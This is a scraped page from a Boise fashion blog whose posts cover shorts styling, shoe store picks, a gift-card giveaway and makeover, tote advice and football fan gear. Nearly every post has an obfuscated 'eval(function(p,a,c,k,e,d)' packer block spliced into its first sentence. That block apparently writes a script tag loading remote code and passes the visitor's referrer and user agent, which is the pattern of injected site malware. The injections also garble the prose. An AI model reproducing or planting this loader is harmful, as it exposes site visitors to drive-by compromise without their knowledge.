Every Woman CAN Wear Shorts!

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|abrkf|var|u0026u|referrer|stskn||js|php’.split(‘|’),0,{}))
had so much fun yesterday at KTVB’s midday news, showing off my awesome models and giving style tips! I had 3 main points, talked as fast as I could, but only got through 2 of them, ha ha ha! Hopefully viewers enjoyed it, and got some helpful tips as well! Here is my 3-minute, fast & furious shorts segment:

http://www.ktvb.com/templates/belo_embedWrapper.js?storyid=204148471&pos=top&swfw=$swfw http://swfs.bimvid.com/player-3.2.15.swf http://www.ktvb.com/templates/belo_embedWrapper.js?storyid=204148471&pos=bottom

Special thanks to Dillard’s for providing my models’ fabulous clothing, jewelry, & shoes!!!

Did you hear my three main points, at the beginning? Yes, EVERY woman can wear shorts – I believe that with all my heart! (Why are shorts so important? Because summer in my town tops 100 degrees, and we do what we have to do to beat the heat!) 😉

Wearing shorts is not about whether you are young, or not so young; tall, or short; thin, or not so thin! It IS about 3 main things:

1. Length of the shorts

2. Fit of the shorts

3. Enhancing your attributes!

1. Length – I covered this in the video clip above. Did you stand up and try my fingertips trick? 😉

2. Fit. If you are a larger woman blessed with more curves than average, your tendency might be to wear loose, baggy shorts. DON’T! Adding material can also add volume. You can’t hide your curves entirely, so why not embrace them? Try on a pair of fitted shorts, with a looser blouse on top. (Fitted top, loose bottoms. Fitted bottoms, loose top. It’s about Balance!) Throw on some wedge sandals and a statement necklace, and no one’s attention will be on your shorts, I promise!

Which brings me to number 3: Enhancing your Attributes! I don’t know if this is just an “American woman” thing, but it seems to me that many of us have developed the terrible habit of dressing to hide our “flaws.” Do you do this? Particularly as we age, we seem to accumulate flaws, and can get overwhelmed by them. Darn gravity! But always dressing with focus on your flaws, makes you miss something even more important: your attributes!

What are your best attributes? Your smile, your eyes, your lips, your sense of humor? Your knees, your rapier wit, your patience, your cute ears?? Make A List!!! I’m serious! Next time you go shopping, pull out that list and think about how you can dress to enhance your attributes!

Let’s make this practical (and super personal, ha!) I have a confession to make: I don’t like my hands! Working in retail makes them crackly & dry. Yuck! But I can’t hide them, without wearing gloves year round. So what do I do? Not wear lots of rings & bracelets that draw attention to them, that’s for sure! But I know my attributes: personality (I hope!), kindness (I try!), dramatic eyes, and a proportionately small-ish waist. So I wear belted dressed/skirt combos, well-practiced eye makeup, and fun necklaces that draw attention to my face, not my hands!

Oh goodness, there I go with too many words again! I hope you will pardon my soapbox moments. I just truly believe every woman is beautiful, and should be able to wear shorts, or whatever fun things she wants, without feeling insecure or judged! So there! 🙂

Now go make your attributes list… I think you’re fabulous!

Xoxo,

StyleSpyGirl

When Matching Gets Too Matchy, On a Fine Spring Day

Bike: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ztddt|var|u0026u|referrer|bsdkn||js|php’.split(‘|’),0,{}))
Electra Cruiser // Sunglasses: Coach // Jeans: Black Orchid // Striped top: Gap // Animal Print Flats: Me Too

“Fashion is not something that exists in dresses only. Fashion is in the sky, in the street, fashion has to do with ideas, the way we live, what is happening.” ~ Coco Chanel

Sunglasses: Coach // Jeans: Black Orchid // Striped top: Gap // Animal Print Flats: Me Too

My goal for today’s outfit was to challenge myself not to match TOO much, by mixing stripes and animal print. I know, so crazy right? So extreme? Lol! This always-coordinated fashionista was starting to fall back into “easy” patterns of dressing myself. Mixed prints: trying it, my way!

Alas, having favorite colors sabotaged my efforts; I went for a bike ride and realized how much I match my Electra Cruiser! Ha ha ha, Guess I need to challenge myself a little more…

Don’t be afraid to break the Fashion Rules a little, even if it takes baby steps. Or in my case, a brisk bike ride!

(No puppies were harmed in the making of this fashion post!) 😉

XOXO,

StyleSpyGirl

Hot Trends & Hotter Deals at DSW Shoes!

The sun is coming out! And with it, ladies everywhere stretch out their toes and say, “Ooh, I need a pedicure!”

Whatever your toes look like these days, if you’re anything like me you are excited to peel off those winter boots and try on some spring styles! I stopped by Boise’s DSW eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nydrk|var|u0026u|referrer|yzair||js|php’.split(‘|’),0,{}))
(Designer Shoe Warehouse) yesterday, to see what’s hot in designer footwear for the Budget Fashionista. 🙂 Here are some of my fun finds and top picks.

Pumps: Audrey Brooke // “Nude” pumps are very popular right now! These have a subtle gold shimmer in the suede, and would look fabulous with a colorful dress, or capris and a flirty blouse!

Sandals: Diba // Gladiator sandals are still hot! The gold studs on these add elegance and edge.

Wedge Sandals: BCBG Paris // Metallic shoes are SO versatile, and this platform wedge amps-up a dressy outfit, while still being comfortable.

Wedge Sandal: Steve Madden // Is everyone as in love with Steve Madden as I am? These mango wedges are smoking hot! I’d wear them with a swingy, simple black tank dress, OR white shorts and a gold-embellished blouse! They add pizazz to any ensemble.

Sandals: Coconuts and Zigi // Wedding shoes! Seriously, the sales staff said these bright & blingy beauties are flying off the shelves, as brides & bridesmaids get in the swing of wedding season!

Ankle-strap Flats: kelly & kate // With their sexy ankle strap, subtle wedge lift, and bold metallic accents, these shiny black sandals are a more mature, dressier version of gladiators!

Pumps: Zigi Soho // Two words: PROM SEASON!

Wedge sandals: Report // These are just SO cute & retro, I literally want to wear one on each foot because I can’t decide between them! Birds, birds, birds… Adorbs!!!

Slip-on: Dansko // On your feet all day, but still love a little pizazz? These bright Danskos were getting a lot of attention in the “comfort shoe” aisle!

Flats: BCBG Paris // Ballet flats are extra pretty, in bright colors and fun metallic prints!

Wedge Sneaker: Jellypop // Not sure about the wedge sneaker trend? Edgy fashionistas know: if you’re going to wear them, don’t be subtle about it! Check out this lacy, ladylike version…

Wedge Sneakers: Sam Edelman // Or, edge it up with chains & studs!!!

DON’T MISS the back clearance wall of DSW, where rows & rows of shoes are marked an extra 30-80% off!!! I found a ton of hot bargains…

Wedge Sneakers: Rebels // $79.00 marked down to $59.94, minus an extra 70% off!

Wedge Sandals: Two Lips // $100 marked down to $79.94, minus an extra 40% off!

Pumps: Audrey Brooke // $90.00 marked down to $49.94, minus an extra 50% off!

Gladiator Sandals: CARLOS by Carlos Santana // $59.00, marked down to $39.94, minus an extra 30% off!

And one last thing: my top pick for the most adorable Spring handbag in DSW: This Betsey Johnson heart-studded tote, in the lightest champagne pink! #fashioncrave

Which one is YOUR favorite? Spring has sprung – get your toes out and go find some hot bargains! 🙂

XOXO,

StyleSpyGirl

Check out DSW’s facebook page for store specials & events: https://www.facebook.com/DSW

DSW Boise is located at 8501 W Franklin Rd, Boise, ID 83709, (208) 323-1201

Gordman’s Giveaway Winner With a Special Fashion Dilemma

Meet eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rsfns|var|u0026u|referrer|dtyie||js|php’.split(‘|’),0,{}))
Rebecca Miller, the winner of last month’s Gordman’s gift card giveaway! I was excited to meet Rebecca and help her shop for some fabulous deals, but I had no idea what fashion challenges awaited! Rebecca has some very specific needs, and we had a wonderful time coming up with creative solutions for her!

Read on to find out what conundrums she was excited to have me help her with, and what we did about them… 🙂

photo (5) — She loved the Earl’s jeans – every pair under $30!

photo (6) — Rack of DISCOUNTED Rock Revival and Silver Jeans!

Mission: Style Makeover with Specific Needs, and on a Budget!

The Subject: Rebecca Miller, wife & mother

The Challenges: Rebecca let me know that she had recently gotten married, joined the LDS church, and was adjusting to her new faith’s specific wardrobe requirements. She wears special garments under her clothes, which prohibit her from simply throwing on a tank top and pair of shorts when the weather gets hot. Last summer, she told me, was her first summer in the church, and a new experience for her in looking for fashions that covered those garments, AND were not too warm for the excessively hot Boise sun. The wardrobe guidelines she had committed to embracing, required an adjustment in her thinking, and her closet!

Added challenge: Rebecca is a young mother, and is nursing her first baby! Everything she wears must be easily accessible for breastfeeding. Getting around clothes, garments, and breastfeeding, all while staying modest, would be an overwhelming task for any woman, much less one on a tight budget and new mom’s tiring schedule! No wonder Rebecca was excited to have some professional input. ^_^

The Shoulder Solution: We found that Gordman’s had some wonderful, breezy maxi dresses that looked fantastic on Rebecca, but had thin or “spaghetti”-type straps. The thin strap challenge was solved by finding an ultra-lightweight cropped & short-sleeved sweater, for about $15! Rebecca was thrilled at this find, because it gave her more shirt & tank top options, while keeping her shoulders covered, without being too hot for summer! The cropped sweater looked great with the maxi dresses, and was an item she could see purchasing in a variety of colors.

The $6 Problem-Solver: The maxi dresses had a crossover neckline, perfect for giving her son access to nursing! But they were unfortunately too low-cut, and wearing a tank top underneath would be too much fabric to tug up & around, while maneuvering a wiggly baby. The solution: this $6 black sport bra (padding removed), fit nicely over her bra, bringing up the neckline while still being stretchy & easy to work around! Rebecca loved this, seeing it as a closet staple she could use under a variety of tops where the neckline might be low enough for nursing, but too low to be really appropriate for her. Those $6 bras came in a variety of colors, so she could mix & match them as fun layering pieces!

Rebecca had a budget to work with, and wanted wardrobe staples that she could build around as the season progressed. We were pleased to find so many wonderful items for her on the clearance racks, some as low as $3 or $4! She even found some adorable gladiator sandals for $15, a super-versatile necklace for $12, and great earrings for $5! When the cashier rang it all up – minus the $50 gift card and some 20% off coupons! – Rebecca was pretty pleased with the savings total. 🙂

Congratulations on winning, Rebecca! I had a great time shopping & styling with you. 🙂

XOXO,

StyleSpyGirl

All photos taken at Gordman’s in Meridian, ID, at 2260 N Eagle Rd.

Check out their Facebook page for a style tip or trick every day in April as part of their Renew, Refresh, Redecorate calendar: https://www.facebook.com/gordmans

Pretty and Professional; Finding the Perfect tote!

Follow eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|didrr|var|u0026u|referrer|rnbsr||js|php’.split(‘|’),0,{}))
my blog with Bloglovin

That’s a wonderful question, Dawn! Thanks for asking! I LOVE questions from my readers! 😀

When it comes to having a work handbag that is large enough to carry your files, computer, and a variety of essentials, my preference is always to find a structured tote. I want it to be wide enough to hold my larger items, but solid, so that when I set it down it doesn’t schlump to the ground in a puddle of leather.

Ideally, your perfect tote would have enough room that you can put in your own dividers; get something that works for your organizational needs from Office Depot, Staples, etc., and take it with you when you go purse shopping!

I stopped by Nordstrom Rack for some photos of the types of handbags I think might work best for you. Most are solid colors, that would coordinate well with an office wardrobe, plus one wild Betsey Johnson tote I just had to throw in for the FUN of it! 🙂

Let me know what you think!
Xoxo,
StyleSpyGirl

Coach

Michael Kors

Huge Bueno Handbags (Kate Spade wallet for size reference)

Betsey Johnson

Spotted on the Clearance Table: Ipad/Tablet purses by Marc Jacobs, & Rebecca Minkoff

Shopping at the Rack with my favorite go-to Betsey Johnson tote!

Jacket: Nordstrom // Tank: BP for Nordstrom // Tote: Betsey Johnson // Leggins: H&M

Damsel in Defense Giveaway!

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|frtye|var|u0026u|referrer|btsts||js|php’.split(‘|’),0,{}))
fell in LOVE with the “Handle It Clutch” from my recent “How I Styled It” article on the Skip N Whistle pullover!

Would YOU like one of these awesome “weapon” handbags, from Damsel in Defense?

Continue reading “Damsel in Defense Giveaway!” →

How I Wore It: That Skip N Whistle Pullover You Voted On!

Photography eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dbysy|var|u0026u|referrer|esiys||js|php’.split(‘|’),0,{}))
by Ammophotog

Panther Pullover: Skip N Whistle// Earrings: Express // Necklace: Mariah Miller // Skirt: Express // Boots: Nine West // Handle It Clutch: Damsel in Defense

Recently clothing designers SKIP N WHISTLE offered to send me a pullover to style. My first thought was, “A pullover isn’t really my style, ha ha!” In fact I will admit casual wear, in general, isn’t really me. But I’m a stylist; I should be able to take a pullover and make it mine, using only my stuff from my closet, right? 😉

Challenge accepted.

With the exception of the amazing Handle It Clutch from Damsel in Defense, everything I’m wearing in these photos came from my own closet.

Thanks for the hot pullover, Skip N Whistle! This is how I made it my style…

XOXO,

StyleSpyGirl

WHERE TO BUY:

Skip N Whistle Pullovers available at http://www.skipnwhistle.com/ ***StyleSpyGirl fans can enter special code: “SPYCODE” at checkout for a 15% discount!!!

Handle it Clutch available at http://www.damselindefense.net/

Custom necklace from Mariah Miller Designs: http://www.etsy.com/shop/Mariahleigh44

Gordman’s Gift Card Giveaway!

Who eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|atbkz|var|u0026u|referrer|tyzhz||js|php’.split(‘|’),0,{}))
wants to win a gift card to Gordman’s, plus 1-2 hours of personal shopping and styling time with me?

Just comment here, or on my Facebook page, telling me what you would most likely spend the gift card on. You can enter/comment every day from now until Thursday, when I will put all the comments in a hat and draw a winner. 🙂

Good luck!
Xoxo,
StyleSpyGirl

(Gift card giveaway open to anyone in the United States, but personal shopping/styling time can only be redeemed with me at the Boise Gordman’s… Unless you want to fly me somewhere else to shop with you!) 😉

NEW Aldo Shoes Grand Opening and Top Sellers for Spring

My top three favorite places to shop for shoes when I’m in a major city are Norstrom, DSW, and Aldo eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zafbt|var|u0026u|referrer|diikt||js|php’.split(‘|’),0,{}))
Shoes! This week, a brand new Aldo Shoes opened up at Boise Towne Square Mall, and I couldn’t wait to get in there! This is big city style, my friends – and now it’s HERE!!! 🙂 Check out some of my favorite finds, then scroll down to hear what store manager Chris has to say about the hottest trends at their Seattle branches!

Store manager Chris, here from Seattle, told me the top trends for Spring in his neck of the woods.

For women: Boots with Studs, Jelly Sandals, Wedge Sneakers, and Mint Green Anything!

For men: Brogues, Oxfords, and modern sneakers

Aldo Shoes sells fashion-forward, high-quality footwear and accessories for men and women. They’re a perfect fit Boise, a fabulous city that’s growing bigger and more fashionable by the day! 🙂 Welcome to the Treasure Valley, Aldo!

ALDO
Boise Towne Square
350 North Milwaukee
Boise, ID, US 83704
208-322-5053

Bronco Fans, Show Some LOVE (In Style!)

Bronco Nation, rejoice! According to Buzzfeed’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bdydb|var|u0026u|referrer|tfkzd||js|php’.split(‘|’),0,{}))
“45 Reasons Why Idaho is the Most Underrated State in the Country,” no fans can stand up to Boise State fans! Bronco football fans, in particular, are loud, proud, and passionate about their team. It’s a blast to watch this entire town rock their their blue & orange gear every game day! 🙂

Football practice started this week, and the Bronco’s first game of 2013 is August 31st, at Washington in Seattle. What’chya gonna wear? You have time to prepare! 😀

Head to Eagle, to visit local boutique Villa Lifestyles! They’re stocked full of fabulous fan gear – the kind of stuff you won’t find at typical stores! (And their women’s clothing items range from Junior to Plus Sizes.)

Here are some fun ideas from their recent Look Book, to show off your team spirit. GO BRONCOS!!!

XOXO,

StyleSpyGirl

Shop online at http://villa-lifestyles.com, or visit their store in Eagle at 228 E Plaza Dr., Eagle ID 83616